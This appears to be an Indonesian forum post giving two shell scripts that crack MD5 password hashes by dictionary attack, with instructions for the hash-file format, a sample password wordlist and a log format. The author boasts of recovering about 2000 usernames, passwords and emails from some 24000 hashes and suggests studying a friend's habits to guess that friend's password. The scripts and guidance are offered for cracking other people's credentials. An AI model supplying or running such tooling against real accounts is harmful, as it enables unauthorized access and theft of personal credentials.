MD5 GUESSING PASSWORD PAKE DICTIONARY By : LoneEagle Script ini hanya sebuah konsep cracking md5 password, cara kerjanya sekuensial, lemot banget jika dictionary dan hash filenya berukuran besar. #!/bin/sh if [ -z "$2" ] then echo "Di test di mesin OpenBSD 3.9" echo "ga dijamin jalan di linux loo.." echo "Gunakan : $0 "; echo "http://kandangjamur.net license"; exit; fi rm -f log.txt touch log.txt HASHLIST=$(cat $1) TEXTLIST=$(cat $2) for HASH in $HASHLIST do for TEXT in $TEXTLIST do HASHTEXT=$(md5 -s $TEXT|awk -F = '{print $2}'>test.txt;cut -c2-33 test.txt;rm -f test.txt) if [ "$HASH" = "$HASHTEXT" ] then echo "$HASH = $TEXT" echo "$HASH = $TEXT" >> log.txt fi done done echo; LENHASH=$(wc -l $1|awk '{print $1}') LENLOG=$(wc -l log.txt|awk '{print $1}') echo "$LENLOG of $LENHASH password is cracked" echo >> log.txt echo "$LENLOG of $LENHASH password is cracked" >> log.txt #EoF Cara makenya gimana saya juga lupa??, kalo pengen tahu analisis saja codenya okew. Nah, karena alasan lemotnya proses cracking saya bikin satu code lagi, hasilnya lumayan lebih cepet dapetin beberapa plaintext password dari md5 hash yang sama 'pakek : grep' Sayangnya ada beberapa bugs, bugsnya dimana ya dicari saja ini code yang kedua yang saya pake #!/bin/sh if [ -z "$2" ] then echo "Di test di mesin OpenBSD 3.9" echo "ga dijamin jalan di linux loo.." echo "Gunakan : $0 "; echo "http://kandangjamur.net license"; exit; fi rm -f logfast.txt touch logfast.txt HASHLIST=$(cat $1) TEXTLIST=$(cat $2) for TEXT in $TEXTLIST do HASHTEXT=$(md5 -s $TEXT|awk -F = '{print $2}'>test.txt;cut -c2-33 test.txt;rm -f test.txt) LISTPW=$(cat $1|grep $HASHTEXT|awk -F : '{print $2":"$3}') for USER in $LISTPW do echo "$USER : $TEXT" echo "$USER : $TEXT">> logfast.txt done done echo; LENHASH=$(wc -l $1|awk '{print $1}') LENLOG=$(wc -l logfast.txt|awk '{print $1}') echo "$LENLOG of $LENHASH password is cracked" echo >> logfast.txt echo "$LENLOG of $LENHASH password is cracked" >> logfast.txt #EoF Nah, walaupun masih ada beberapa bugs saya sudah ngedapetin sekitar 2000 plaintext password dari sekitar 24000 md5 hash jadi, ya ndak usah dibenerin. Hihihi, saya sudah puas kok dengan modal 2000 user,password dan email. Cara pakeknya, Bikin hashfile, hashfile isinya username, hash password dan deskripsi user yang formatnya : hash_password:username:email_or_other_description Logfile disimpan dalam file logfast.txt yang format isinya : username:email_or_other_description : plaintext_password Bikin plaintextfile yang berfungsi sebagai dictionary. File ini berisi list password yang sekiranya dipake user berikut contohnya : qwerty123 qwerty1234 qwerty12345 qwerty123456 qwertyu1 qwertyu12 qwertyu123 qwertyu1234 qwertyu12345 setan tuyul dani bajingan kancut helo hello puki fuck hell mastris test 123456 ferrari freud jimmy 1234 bismillah 12345 password diablo computer caroline cool spider evil brandy antares goodluck1 123 aaaaaa 654321 111111 purple scarlet brazil qwerty 000000 diamond forbidden shadow mellon taurus 123123 whatever hunter extreme wendy microsoft administrator 1234567 september angel chocolate breeding elvis abcdef music icecream andromeda 12345678 guitar dandelion pass medical default cocktail compaq superman daniel tika rachel aragorn hilda dahlia sakura honey chubby 1313 1818 heart Basketball bonjour earthquake secret internet alumnae arum kentang5 rahasia Selebihnya bikin dictionary password sesuai kreatifitas anda saja, jika yang diguessing password temen anda ada baiknya pelajari dulu kebiasaan temen anda. Salam,